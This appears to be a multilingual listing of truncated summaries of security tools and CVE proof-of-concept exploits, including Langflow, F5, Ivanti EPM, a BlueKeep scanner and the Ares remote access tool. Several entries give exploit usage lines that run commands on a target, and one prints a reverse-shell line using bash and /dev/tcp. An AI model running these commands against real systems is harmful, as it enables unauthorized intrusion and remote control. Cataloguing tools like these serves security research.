Langflow-CVE-2025-3248-Multi-target

⚠️ Langflow RCE エクスプロイトスキャナー CVE-2025-3248 このPythonベースのスキャナーは、Langflowインスタンスにおける認証なしのリモートコード実行（RCE） 脆弱性をCVE-2025-3248 を介して自動検出します。これは、/api/v1/validate/codeエンドポイントを悪用して任意のシェルコマンドを実行する概念実証ペイロードを使用します。 🚨 CVEの詳細 CVE : CVE-2025-3248 影響 : 認証なしのリモートコード実行 コンポーネント : Langflow API /api/v1/validate/code...

OpenRedireX

OpenRedireX オープンリダイレクトの脆弱性を検出するファザー 🏗️ インストール ⛏️ 使用方法 📚 依存関係 インストール root@kitploit: git clone https://github.com/devanshbatham/openredirex cd openredirex sudo chmod +x setup.sh ./setup.sh 使用方法 このスクリプトはコマンドラインから実行され、以下の使用オプションがあります： root@kitploit: openredirex -p payloads -k keyword -c concurrency -p,...

F5-CVE-2022-1388-Exploit

F5-CVE-2022-1388-Exploit CVE 2022-1388 のエクスプロイトおよびチェックスクリプト 使用法 単一ホストに対してチェック root@kitploit: python3 CVE-2022-1388.py -v true -u targeturl ホストを攻撃してコマンドをテスト root@kitploit: python CVE20221388.py -a true -u targeturl -c command ホストのリストを攻撃 root@kitploit: python CVE20221388.py -s true -f file...

CVE-2019-1653

CVE-2019-1653 Cisco Small Business RV320 および RV325 Dual Gigabit WAN VPN ルーターの Web ベース管理インターフェースにおける脆弱性により、認証されていないリモート攻撃者が機密情報を取得できる可能性があります。 このシンプルな Python スクリプトは、CVE-2019-1653 の自動エクスプロイトであり、Cisco Small Business RV320 および RV325 デバイスに感染します。悪用される最初の脆弱性は...

CVE-2025-24893-PoC

免責表明： 本稿で説明される脆弱性およびその再現手順は、サイバーセキュリティの研究および教育目的のみに使用されます。いかなる者も、本稿で提供される情報を違法目的または無許可のシステムテストに使用してはなりません。著者は、本情報の使用により生じたいかなる直接的または間接的損害についても責任を負いません。著作権侵害が疑われる場合は、速やかにご連絡ください。速やかに対処し、関連コンテンツを削除いたします。 使用方法： python CVE-2025-24893.py URL COMMAND...

freeswitch_rce

version: 由于 freeswitch 通常以高权限运行，因此也可以实现权限提升的效果...

Web-Security-Learning

Web-Security-Learning 项目地址： https://github.com/CHYbeta/Web-Security-Learning 知识星球【漏洞攻防】：https://t.zsxq.com/mm2zBeq 目录： Web-Security-Learning Web Security sql注入 MySql MSSQL PostgreSQL MongoDB 技巧 工具 XSS CSRF 其他前端安全 SSRF XXE JSONP注入 SSTI 代码执行 / 命令执行 文件包含 文件上传 / 解析漏洞 逻辑漏洞 未授权访问/信息泄露...

polymorph

Polymorph Polymorph is a tool that facilitates the modification of network traffic on the fly by allowing the execution of Python code on network packets that are intercepted in real time. This framework can be used to modify in real time network packets that implement any publicly specified...

CVE-2020-23583

CVE-2020-23583 OPTILINK E-PON "MODEL NO: OP-XT71000N" con "HARDWARE VERSION: V2.2"; y "FIRMWARE VERSION: OPV3.3.1-191028" EJECUCIÓN REMOTA DE CÓDIGO encontrada en "OPTILINK OP-XT71000N". El problema ocurre cuando el atacante envía un código arbitrario en "/diagpingadmin.asp" a la interfaz...

CVE-2009-4623

Advanced Comment System 1.0 - リモートコマンド実行 RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 例 root@kitploit: python3 exploit.py http://127.0.0.1 uname -a root@kitploit: python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

jsfinder

Features | Installation | Usage | Demo | TODOs| Contact jsFinder is a command-line tool written in Go that scans web pages to find JavaScript files linked in the HTML source code. It searches for any attribute that can contain a JavaScript file e.g., src, href, data-main, etc. and extracts the UR...

hardcodes

hardcodes extract strings from source code...

mylg

myLG, コマンドラインネットワーク診断ツール myLGは、異なるネットワークプローブの機能を1つのネットワーク診断ツールに統合したオープンソースのソフトウェアユーティリティです。 特徴 人気のルッキンググラス ping/trace/bgp: Telia, Level3, NTT, Cogent, KPN 200以上の国々のDNSルックアップ情報 ローカルpingとリアルタイムトレースルート パケットアナライザ - TCP/IPおよびその他のパケット クイックNMS ネットワーク管理システム ローカルHTTP/HTTPS ping GET, POST, HEAD RIPE情報 ASN,...

CVE-2024-29824

CVE-2024-29824: Ivanti EPM SQLインジェクション リモートコード実行の脆弱性 脆弱なIvanti EPMアプライアンス上でブラインドでコマンドを実行する概念実証エクスプロイトです。 ブログ記事 詳細な解説と侵害の指標はこちら： https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability 使用方法 root@kitploit: % python...

rdpscan

rdpscan for CVE-2019-0708 bluekeep vuln This is a quick-and-dirty scanner for the CVE-2019-0708 vulnerability in Microsoft Remote Desktop. Right now, there are about 900,000 machines on the public Internet vulnerable to this vulnerability, so many are to expect a worm soon like WannaCry and...

rdpscan

rdpscan: CVE-2019-0708 bluekeep脆弱性スキャナー これは、Microsoft Remote DesktopのCVE-2019-0708脆弱性のための簡易スキャナーです。 現在、パブリックインターネット上には約90万台のマシンがこの脆弱性に対して脆弱であり、 多くの人がWannaCryやnotPetyaのようなワームが間もなく現れると予想しています。したがって、ネットワークをスキャンし、 脆弱なシステムにパッチを適用するか（少なくともNLAを有効にする）してください。 これはコマンドラインツールです。ソースコードをダウンロードして自分でコンパイルするか、...

CVE-2024-21683-RCE

CVE-2024-21683-RCE クレジット https://x.com/realalphaman https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated 使用方法 root@kitploit: git clone https://github.com/W01fh4cker/CVE-2024-21683-RCE cd CVE-2024-21683-RCE pip install requests bs4 python CVE-2024-21683.py -u...

redshell

RedShell 一个用于红队和渗透测试的交互式命令提示符。自动通过SOCKS4/5代理经由 proxychains 推送命令。可选的 Cobalt Strike 集成可从团队服务器拉取 Beacon 的 SOCKS4/5 代理。活动自动记录到本地 CSV 文件以及（若已配置）Cobalt Strike 团队服务器。 请注意，由于 RedShell 底层使用 proxychains，仅 TCP 流量会被代理。 安装 RedShell 运行在 Python 3.8 上。 安装依赖： root@kitploit: pip3 install -r requirements.txt 安装...

CVE-2020-11651-PoC

CVE-2020-11651-PoC 最新バージョンのPythonで動作し、接続時のエラーを処理するように更新されたCVE-2020-11651エクスプロイトを含むリポジトリです。 元のリポジトリからのREADMEコピー 元のリポジトリ CVE-2020-11651およびCVE-2020-11652用のPoCエクスプロイト これは、初期のチェックスクリプトに基づく概念実証PoCエクスプロイトです。Saltマスターサーバーが必要な修正を含むリリースに正常に更新されたことを確認するために使用します。 調査と報告を行ったF-Secure Labsに感謝します。...

Ares

Ares AresはPython製のリモートアクセスツールです。 警告：本ソフトウェアは、お住まいの地域の法律に従ってのみ使用してください。本ソフトウェアの誤用は法的・倫理的問題を引き起こす可能性があり、私はそれを支持せず、責任を負いません。 Aresは2つの主要プログラムから構成されています： コマンド＆コントロールサーバー：エージェントを管理するWebインターフェース エージェントプログラム：侵害されたホスト上で実行され、CNCとの通信を確保します WebインターフェースはPythonが動作する任意のサーバーで実行可能です。エージェントはpyinstaller...